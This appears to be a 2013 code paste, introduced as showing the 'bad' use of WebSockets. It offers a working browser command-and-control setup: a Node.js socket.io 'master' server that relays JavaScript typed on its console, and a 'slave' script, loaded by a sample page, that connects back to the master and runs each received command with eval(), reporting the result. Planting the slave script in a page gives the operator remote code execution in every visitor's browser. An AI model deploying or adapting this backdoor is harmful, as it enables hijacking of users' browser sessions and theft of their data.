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WebSocket can be used for good and for bad. Here's the bad. :(
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| <!-- | |
| - Socket.io-powered WebSocket utilizing control module! | |
| - | |
| - * Sample index page for the implementation. | |
| - | |
| - by boxmein 2013, the code is free to use | |
| - Socket.io Copyright(c) 2011 LearnBoost <[email protected]> MIT Licensed | |
| --> | |
| <!DOCTYPE html> | |
| <html> | |
| <head> | |
| <meta charset="utf-8"> | |
| </head> | |
| <body> | |
| <script src="//cdnjs.cloudflare.com/ajax/libs/socket.io/0.9.16/socket.io.min.js"></script> | |
| <script src="websocket-slave.js"></script> | |
| </body> | |
| </html> |
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| /* | |
| * Socket.io-powered WebSocket utilizing control module! | |
| * | |
| * - The server should log but it doesn't. | |
| * - Listens on port 3000. | |
| * - On connection, goes for its own handshake with the "shake" event. | |
| * - Receives an "ok" event. | |
| * - Listens to standard input and emits "command" events to the slave | |
| * as necessary. | |
| * - Commands are Javascript. | |
| * | |
| * | |
| * by boxmein 2013, the code is free to use | |
| */ | |
| // $ npm install socket.io | |
| var io = require("socket.io").listen(3000), | |
| stdin = process.openStdin(); | |
| io.sockets.on("connection", function (sock) { | |
| // start handshake | |
| sock.emit("shake", {time: new Date().getTime()}); | |
| // handshake is complete | |
| sock.on("ok", function (data) { | |
| console.log(" okay received: " + data); | |
| }); | |
| // fired when the eval is run, contains a string with the return value | |
| sock.on("return", function (obj) { | |
| console.log(" returned with value: " + obj.data); | |
| }) | |
| // command line input | |
| stdin.on("data", function (chunk) { | |
| sock.emit("command", {code: "" + chunk}); | |
| }); | |
| }); | |
| String.prototype.trim = String.prototype.trim || function() {return this.replace(/^\s+|\s+$/g, "");}; |
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| /* | |
| * Socket.io-powered WebSocket utilizing control module! | |
| * | |
| * - Evaluates Javascript received from standard input (see server) | |
| * - Requires socket.io to work. A version has been included below. | |
| * - socket.io proudly works on cross-domain connections. :) | |
| * - After connecting, the server sends a "shake" event to which the client | |
| * responds with a "ok" event. | |
| * | |
| * by boxmein 2013, the code is free to use | |
| */ | |
| // or include socket.io inside here. we need io. | |
| if (!io) document.head.appendChild((sc=document.createElement('script'),sc.src='//cdnjs.cloudflare.com/ajax/libs/socket.io/0.9.16/socket.io.min.js',sc)); | |
| // change to your master server address :o | |
| var socket = io.connect("http://localhost:3000"); | |
| socket.on("shake", function (data) { | |
| console.log(data); | |
| socket.emit("ok", {time: new Date().getTime()}); | |
| }); | |
| socket.on("command", function (data) { | |
| console.log(data.code.trim()); | |
| socket.emit("return", {data: eval(data.code.trim())}); | |
| }); | |
| String.prototype.trim = String.prototype.trim || function() {return this.replace(/^\s+|\s+$/g, "");}; |
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